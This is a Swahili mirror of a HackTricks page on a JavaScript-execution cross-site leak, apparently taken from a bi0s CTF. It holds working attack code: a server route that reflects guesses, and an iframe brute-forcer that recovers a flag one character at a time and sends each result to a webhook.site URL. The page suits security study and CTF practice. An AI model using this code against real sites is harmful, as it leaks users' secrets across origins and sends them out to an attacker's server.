mirror of
https://github.com/carlospolop/hacktricks
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88 lines
4 KiB
Markdown
88 lines
4 KiB
Markdown
# Uvuvi wa Utekelezaji wa JavaScript XS Leak
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<details>
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<summary><strong>Jifunze kuhusu uvamizi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
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* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
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* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
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* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Shiriki mbinu zako za uvamizi kwa kuwasilisha PR kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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```javascript
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// Code that will try ${guess} as flag (need rest of the server code
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app.get('/guessing', function(req, res) {
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let guess = req.query.guess
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let page = `<html>
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<head>
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<script>
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function foo() {
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// If not the flag this will be executed
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window.parent.foo()
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}
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</script>
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<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
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</head>
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<p>hello2</p>
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</html>`
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res.send(page)
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});
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```
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Ukurasa mkuu ambao unazalisha iframes kwenye ukurasa wa awali wa `/guessing` ili kujaribu kila uwezekano
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```html
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<html>
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<head>
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<script>
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let candidateIsGood = false;
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let candidate = ''
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let flag = 'bi0sctf{'
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let guessIndex = -1
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let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'
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// this will get called from our iframe IF the candidate is WRONG
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function foo() {
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candidateIsGood = false
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}
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timerId = setInterval(() => {
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if (candidateIsGood) {
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flag = candidate
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guessIndex = -1
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fetch('https://webhook.site/<yours-goes-here>?flag='+flag)
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}
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//Start with true and will be change to false if wrong
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candidateIsGood = true
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guessIndex++
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if (guessIndex >= flagChars.length) {
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fetch('https://webhook.site/<yours-goes-here>')
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return
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}
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let guess = flagChars[guessIndex]
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candidate = flag + guess
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let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
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console.log('iframe: ', iframe)
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hack.innerHTML = iframe
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}
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, 500);
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</script>
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</head>
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<p>hello</p>
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<div id="hack">
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</div>
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</html>
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```
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<details>
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<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
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|
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* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
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* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
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* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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